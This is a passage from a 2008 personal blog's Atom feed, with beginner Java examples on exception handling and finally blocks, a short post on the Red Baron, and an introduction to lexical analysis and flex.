/&gt;*/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-8827540840647190588?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/8827540840647190588/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=8827540840647190588' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/8827540840647190588'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/8827540840647190588'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2008/12/simple-java-program-to-understand_13.html' title='Simple java program to understand compiling and running a program inside a package'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-8712358024713647246</id><published>2008-12-12T04:24:00.000-08:00</published><updated>2008-12-12T04:27:58.964-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><title type='text'>Simple Java Program to understand finally Block</title><content type='html'>/*------------------------------------------------------------------------&lt;br /&gt;Simple Java Program to understand finally Block&lt;br /&gt;------------------------------------------------------------------------*/&lt;br /&gt;class finallyexample{&lt;br /&gt;public static void main(String args[]){&lt;br /&gt; int i,total=0;&lt;br /&gt; try{ &lt;br /&gt;  for(i=0;i&lt;3;i++){&lt;br /&gt;    System.out.println(args[i]);&lt;br /&gt;    total+=Integer.parseInt(args[i]);//converting string to integer&lt;br /&gt;    }  &lt;br /&gt; System.out.println(" The total is " + total);&lt;br /&gt;//this block is executed only when number of arguments is 3 or more      }&lt;br /&gt;  catch (ArrayIndexOutOfBoundsException a){&lt;br /&gt;//this block is executed only when number of arguments is less than 3 &lt;br /&gt;  System.out.println("A minimum of 3 arguments are required");&lt;br /&gt;    }  finally{&lt;br /&gt;//this block is executed irrespective of the number of arguments passed to the program   &lt;br /&gt;System.out.println(" The total is " + total);  } }}&lt;br /&gt;/*------------------------------------------------------------------------&lt;br /&gt;Output with the "finally" block&lt;br /&gt;------------------------------------------------------------------------&lt;br /&gt;C:\j2sdk1.4.2_04\bin&gt;javac finallyexample.java&lt;br /&gt;C:\j2sdk1.4.2_04\bin&gt;java finallyexample 1 2 3&lt;br /&gt;1&lt;br /&gt;2&lt;br /&gt;3&lt;br /&gt;The total is 6&lt;br /&gt;The total is 6&lt;br /&gt;C:\j2sdk1.4.2_04\bin&gt;java finallyexample 1 2&lt;br /&gt;1&lt;br /&gt;2&lt;br /&gt;A minimum of 3 arguments are required&lt;br /&gt;The total is 3&lt;br /&gt;------------------------------------------------------------------------*/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-8712358024713647246?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/8712358024713647246/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=8712358024713647246' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/8712358024713647246'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/8712358024713647246'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2008/12/simple-java-program-to-understand_12.html' title='Simple Java Program to understand finally Block'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-1671574551077856390</id><published>2008-12-11T03:51:00.000-08:00</published><updated>2008-12-11T03:54:29.480-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><title type='text'>Simple Java Program to understand Exception Handling</title><content type='html'>/*------------------------------------------------------------------------&lt;br /&gt;Simple Java Program to understand Exception Handling&lt;br /&gt;------------------------------------------------------------------------*/&lt;br /&gt;class exceptionexample{&lt;br /&gt;public static void main(String args[]){   &lt;br /&gt; int i;         &lt;br /&gt; try{&lt;br /&gt;                       for(i=0;i&lt;3;i++){&lt;br /&gt;                       System.out.println(args[i]);&lt;br /&gt;                       }&lt;br /&gt;              }           catch (ArrayIndexOutOfBoundsException e){&lt;br /&gt;                      System.out.println("A minimum of 3 arguments arerequired");&lt;br /&gt;                       }     }}&lt;br /&gt;/*------------------------------------------------------------------------&lt;br /&gt;Output without the "try" block&lt;br /&gt;------------------------------------------------------------------------&lt;br /&gt;C:\j2sdk1.4.2_04\bin&gt;javac exceptionexample.javaC:\j2sdk1.4.2_04\bin&gt;java exceptionexample 1 2 3 4123C:\j2sdk1.4.2_04\bin&gt;java exceptionexample 1 212Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException: 2       at exceptionexample.main(exceptionexample.java:5)&lt;br /&gt;------------------------------------------------------------------------&lt;br /&gt;Output with the "try" block&lt;br /&gt;------------------------------------------------------------------------&lt;br /&gt;C:\j2sdk1.4.2_04\bin&gt;java exceptionexample 1 212A minimum of 2 arguments are required&lt;br /&gt;------------------------------------------------------------------------*/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-1671574551077856390?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/1671574551077856390/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=1671574551077856390' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/1671574551077856390'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/1671574551077856390'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2008/12/simple-java-program-to-understand.html' title='Simple Java Program to understand Exception Handling'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-5557745542556784398</id><published>2008-12-06T22:34:00.000-08:00</published><updated>2008-12-07T00:15:34.512-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Still sane'/><title type='text'>Red Barron - the flying ace</title><content type='html'>The &lt;span style="color:#cc0000;"&gt;Red Barron&lt;/span&gt; is a flying ace par excellence. "Manfred Albrecht &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;Freiherr&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;von&lt;/span&gt; Richthofen " popularly known as the Red Barron attained fame by downing as many as 80 enemy aircraft during the First World war. He has been &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_2"&gt;portrayed&lt;/span&gt; as a &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_3"&gt;villainous&lt;/span&gt; character in many &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_4"&gt;literally&lt;/span&gt; works probably due to fighting for the Germans.&lt;br /&gt;&lt;br /&gt;The nickname Red Barron originates from the fact that he flew a red colored plane and was actallly from royalty. The German title "Freiherr" roughly translated to the english title of "Barron". He is credited with coming up with "The Flying Circus", highly mobile and brightly colored aircraft which were useful in the Dog fights of the First world war.&lt;br /&gt;&lt;br /&gt;Red Barron's Autobiography "&lt;a href="http://www.archive.org/details/redbattleflyer00richiala"&gt;The Red Battle Flyer&lt;/a&gt;" is anintresting read. The eight chapters of the book place before us the various stages of his life. It provides a view of the world war I throught the eyes of soldier who fought pretty well. His liking for sports and winning seems to have continued into the battlefield. It was all about winning trophies and not just the war.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-5557745542556784398?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/5557745542556784398/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=5557745542556784398' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/5557745542556784398'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/5557745542556784398'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2008/12/red-barron-flying-ace.html' title='Red Barron - the flying ace'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-6404663380911356620</id><published>2008-11-13T07:00:00.000-08:00</published><updated>2008-11-13T07:30:32.899-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='compiler design'/><title type='text'>Lexical analysis</title><content type='html'>Lexical analysis is the first step of compling a program. It involves converting sequence of characters to a sequence of tokens. Programs to perform lexical analysis known as lexers or lexical analysers are used to such conversions.&lt;br /&gt;&lt;br /&gt;Tokens created by lexical analysis have two parts, one is the block of text corresponding to the token(Known as lexeme) and the other is the token type. So to give an example, a sequence like "a=1+2" after tokenisation will look like&lt;br /&gt;&lt;div align="center"&gt; &lt;/div&gt;&lt;div align="center"&gt;Lexeme        Token&lt;/div&gt;&lt;div align="center"&gt;a                    Variable&lt;/div&gt;&lt;div align="center"&gt;=                    equaltooperator&lt;/div&gt;&lt;div align="center"&gt;1                    numericconstant&lt;/div&gt;&lt;div align="center"&gt;+                   additionoperator&lt;/div&gt;&lt;div align="center"&gt;2                   numericconstant&lt;/div&gt;Now that we understans the basic concept of lexical anlysis, we might be tempted to write a Lexer :) . Writing lexers though possible might be a waste of time at times. There are programs known as "Lexer generators", yes u guessed it write, these are programs that generate lexer programs.&lt;br /&gt;&lt;br /&gt;The lexer generators take a input file with details about the required characteristics of a lexer and generate the lexer. One lexer that seems to be popular is "&lt;a href="http://flex.sourceforge.net/"&gt;flex&lt;/a&gt;". The input file for flex consists of 3 parts, the definiton part, the rules part and the user code section.&lt;br /&gt;&lt;br /&gt;Each of the parts is separated by "%%". So a simple program in flex would be like&lt;br /&gt;&lt;br /&gt;%%sayhello printf("Hello");&lt;br /&gt;&lt;br /&gt;This just makes "sayhello" a token that has the action printf("Hello");. The flex has much much more that can be done. There are features to optimise the memory usage to suit the lexer u design.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-6404663380911356620?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/6404663380911356620/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=6404663380911356620' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/6404663380911356620'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/6404663380911356620'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2008/11/lexical-analysis.html' title='Lexical analysis'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
